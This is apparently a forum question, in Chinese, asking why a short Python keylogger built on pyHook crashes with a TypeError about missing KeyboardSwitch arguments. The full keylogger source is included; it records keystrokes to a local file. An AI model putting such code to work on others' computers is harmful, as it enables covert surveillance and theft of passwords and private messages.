我一直在尝试编写Python键盘记录程序(用于教育目的)。这是代码:
import pythoncom, pyHook
def OnKeyboardEvent(event):
keylog = chr(event.Ascii)
with open("log.txt", "a") as f:
f.write(keylog)
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
我运行了脚本,当我输入内容时,它只是崩溃并出现以下错误消息:
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
我无法弄清问题是什么。我已经搜索过(几乎)reddit,stackoverflow等上的每一个线程。但我注意到的一件事是,Python 2.7的用户似乎能够运行类似的脚本。另一个帖子说pyHook中有一个bug,需要重建。
目前我对自己应该做的事情感到茫然。我的代码中有什么问题我应该修复吗?有什么想法吗?
感谢。